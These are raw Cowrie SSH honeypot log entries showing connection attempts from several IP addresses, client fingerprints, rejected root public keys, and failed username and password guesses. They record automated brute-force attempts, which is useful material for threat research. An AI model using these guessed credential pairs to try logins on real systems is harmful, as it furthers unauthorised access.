{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:c3:12:17:8b:ab:bd:14:b7:21:a6:6e:91:de:14:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeZ2ExCMWlryvHvKO29M6UM8zf3p1ZIOeDUX8f/vXx1VGHXfBUZ3+8SwHstHYDfZ3bRE6zvXg3ppXdg/vNE0mOAbGioefM/mBzQy1LUuDd8ONeN3EsCa5eTSMt0VRIz8UiZ1luA7lXhmUq0z9G0kpAuVuL4M+BA/B8+dAj4RQBRdPZQfmzMYDChH2pDD4LykOyK3eDl/PbOaRSyRSrk/9UrJr7V6yJRRTgXWRhxLsqXrTrmXbCwjV4GDl1cVJXr71tKxjiHYZchD+DC4Al26J+daLr7xXWfRiBN6CqKlqwHCgevICAFQ7zHRE46W30lfOH6qFQolNEjfWhD5X6gmXt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:30.392806Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:ec:0a:a1:ec:64:68:0b:51:ec:aa:02:cf:c3:fd:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu/7jycxErVOWOSIOgDGiR9aXYI+I8iz98mG3t7xQoLe8lLSpTCK96vdlaUOe+o/mInRATXrP/BN8Yj/Eg/hQJVkbaa4zvNzgDhxJf7vYseidnLl6zt4NJmYxC+Zj1B/Ynt7HEZ7nJC+ys28CdIX0UxLA8boGQtFfHdYY6hIFu3om1EM+Iedv/QhBcEPmrosv0hegOgmjVvwe3TJQaIsaUvFiPTSwHDPKhZKinp9sygeOSBudyorHHswmE9A+8RjE8h6keNbX+Ui0RN8SF1QS1OJbwPFlIGBnITf33vWaQ2aHkzaDFU6iHw55c/nxUwjPiKjEMLSfA/A2DNKLY2P0MQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:ec:0a:a1:ec:64:68:0b:51:ec:aa:02:cf:c3:fd:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:30.486397Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:ec:0a:a1:ec:64:68:0b:51:ec:aa:02:cf:c3:fd:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu/7jycxErVOWOSIOgDGiR9aXYI+I8iz98mG3t7xQoLe8lLSpTCK96vdlaUOe+o/mInRATXrP/BN8Yj/Eg/hQJVkbaa4zvNzgDhxJf7vYseidnLl6zt4NJmYxC+Zj1B/Ynt7HEZ7nJC+ys28CdIX0UxLA8boGQtFfHdYY6hIFu3om1EM+Iedv/QhBcEPmrosv0hegOgmjVvwe3TJQaIsaUvFiPTSwHDPKhZKinp9sygeOSBudyorHHswmE9A+8RjE8h6keNbX+Ui0RN8SF1QS1OJbwPFlIGBnITf33vWaQ2aHkzaDFU6iHw55c/nxUwjPiKjEMLSfA/A2DNKLY2P0MQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:30.490212Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:b6:16:45:c8:5b:27:1e:df:db:dd:01:29:e2:6a:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDMJgN4mwstmEQNbO8ZAbed+cgZJCDChjPc+GnNBoMdQfJenhjtuUrEtJwVOw/YzSrI2g39GKTG4kbU3Iw7QsoOKhmF0QT5tjRf+2B+j3O4aru5Lq7AWqrL5Y3UOw0ATKV/U5yh1vWgcqC8dqQiMY4sArLz3K1GUyoKwvTIZsxv1vKYSIsztOYPokR/KDPqIZKQ5HgNaUKgGPgBN+vI+Ja6Hond9p3eC2PndUII73OVFil8rhxBfYGgbSUsoar3BFRBiUERM+2p92Ou/fQWhnZgVHVqVOI1YtL4dvtthdignFQPCboSUjnmPU94nTNGprbHJ1zM4GLxA+grNQTSKaV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:b6:16:45:c8:5b:27:1e:df:db:dd:01:29:e2:6a:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:30.580395Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:b6:16:45:c8:5b:27:1e:df:db:dd:01:29:e2:6a:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDMJgN4mwstmEQNbO8ZAbed+cgZJCDChjPc+GnNBoMdQfJenhjtuUrEtJwVOw/YzSrI2g39GKTG4kbU3Iw7QsoOKhmF0QT5tjRf+2B+j3O4aru5Lq7AWqrL5Y3UOw0ATKV/U5yh1vWgcqC8dqQiMY4sArLz3K1GUyoKwvTIZsxv1vKYSIsztOYPokR/KDPqIZKQ5HgNaUKgGPgBN+vI+Ja6Hond9p3eC2PndUII73OVFil8rhxBfYGgbSUsoar3BFRBiUERM+2p92Ou/fQWhnZgVHVqVOI1YtL4dvtthdignFQPCboSUjnmPU94nTNGprbHJ1zM4GLxA+grNQTSKaV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:30.584092Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:fa:58:a2:6c:04:f0:0e:58:d7:92:d3:c9:0b:ce:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8sMbfSuCighrCJqJLQnETyC/uQnkrYXcGUOij4WdKOHB5qcSlUj+Z53MuR1LUs0dNQuatMRXhjIVJW4hpnefYgKjYOsF9U3DGqUVvBBG4eiPfxD/nvPwhgmO1az36aMmlhDOpbOEwVzny8C+tgLFjmm5+7gyaJ395hoO5pqE5gP6+TWk2k6OKAQ1V3efYVnSHj6QRqwyj9fOWu6DImFrQelKxu/CZ1kg0GXBwPWKpQWnksynrZdizEF0zyO61BEy1lB3AAj4aMy93j5wwYf89wura36WfuQRtldbL6Vusm9haq+izuxrUWsIS6OyAg/ciop58MvCkopqy3qqY2z4z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:fa:58:a2:6c:04:f0:0e:58:d7:92:d3:c9:0b:ce:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:30.674043Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:fa:58:a2:6c:04:f0:0e:58:d7:92:d3:c9:0b:ce:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8sMbfSuCighrCJqJLQnETyC/uQnkrYXcGUOij4WdKOHB5qcSlUj+Z53MuR1LUs0dNQuatMRXhjIVJW4hpnefYgKjYOsF9U3DGqUVvBBG4eiPfxD/nvPwhgmO1az36aMmlhDOpbOEwVzny8C+tgLFjmm5+7gyaJ395hoO5pqE5gP6+TWk2k6OKAQ1V3efYVnSHj6QRqwyj9fOWu6DImFrQelKxu/CZ1kg0GXBwPWKpQWnksynrZdizEF0zyO61BEy1lB3AAj4aMy93j5wwYf89wura36WfuQRtldbL6Vusm9haq+izuxrUWsIS6OyAg/ciop58MvCkopqy3qqY2z4z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:30.678297Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:30.770389Z","src_ip":"154.16.180.28","session":"89787e77db55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":40740,"dst_ip":"159.203.135.109","dst_port":22,"session":"48518053ecb5","protocol":"ssh","message":"New connection: 66.113.163.125:40740 (159.203.135.109:22) [session: 48518053ecb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:41.145950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:41.150573Z","src_ip":"66.113.163.125","session":"48518053ecb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:41.186795Z","src_ip":"66.113.163.125","session":"48518053ecb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flying","message":"login attempt [root/flying] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:41.368969Z","src_ip":"66.113.163.125","session":"48518053ecb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:42.411770Z","src_ip":"66.113.163.125","session":"48518053ecb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":37854,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dbfc2161bc7","protocol":"ssh","message":"New connection: 45.61.187.220:37854 (159.203.135.109:22) [session: 2dbfc2161bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:48.728629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:48.734244Z","src_ip":"45.61.187.220","session":"2dbfc2161bc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:48.783582Z","src_ip":"45.61.187.220","session":"2dbfc2161bc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhangfeng","password":"zhangfeng","message":"login attempt [zhangfeng/zhangfeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:48.966013Z","src_ip":"45.61.187.220","session":"2dbfc2161bc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:12:50.021272Z","src_ip":"45.61.187.220","session":"2dbfc2161bc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":46530,"dst_ip":"10.17.0.5","dst_port":22,"session":"278412aba734","protocol":"ssh","message":"New connection: 159.195.79.219:46530 (10.17.0.5:22) [session: 278412aba734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:02.493838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:02.501474Z","src_ip":"159.195.79.219","session":"278412aba734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:02.598068Z","src_ip":"159.195.79.219","session":"278412aba734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123#","message":"login attempt [root/admin123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:02.999239Z","src_ip":"159.195.79.219","session":"278412aba734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:04.099305Z","src_ip":"159.195.79.219","session":"278412aba734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":55434,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9491706b3c3","protocol":"ssh","message":"New connection: 92.191.96.70:55434 (10.17.0.5:22) [session: b9491706b3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:06.434132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:06.439142Z","src_ip":"92.191.96.70","session":"b9491706b3c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:06.563847Z","src_ip":"92.191.96.70","session":"b9491706b3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:07.089257Z","src_ip":"92.191.96.70","session":"b9491706b3c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:08.215848Z","src_ip":"92.191.96.70","session":"b9491706b3c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":40144,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae4793efd2d8","protocol":"ssh","message":"New connection: 125.16.27.190:40144 (159.203.135.109:22) [session: ae4793efd2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:19.029629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:19.034590Z","src_ip":"125.16.27.190","session":"ae4793efd2d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:19.276070Z","src_ip":"125.16.27.190","session":"ae4793efd2d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"J5cmmu=Kyf0-br8CsW","message":"login attempt [root/J5cmmu=Kyf0-br8CsW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:20.240860Z","src_ip":"125.16.27.190","session":"ae4793efd2d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:21.461755Z","src_ip":"125.16.27.190","session":"ae4793efd2d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":52392,"dst_ip":"159.203.135.109","dst_port":22,"session":"02e7a928d574","protocol":"ssh","message":"New connection: 81.192.46.49:52392 (159.203.135.109:22) [session: 02e7a928d574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:24.129052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:24.133809Z","src_ip":"81.192.46.49","session":"02e7a928d574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57780,"dst_ip":"10.17.0.5","dst_port":22,"session":"02ec49ce20e1","protocol":"ssh","message":"New connection: 194.59.206.2:57780 (10.17.0.5:22) [session: 02ec49ce20e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:24.160748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:24.165161Z","src_ip":"194.59.206.2","session":"02ec49ce20e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:24.248810Z","src_ip":"81.192.46.49","session":"02e7a928d574","protocol":"ssh"}
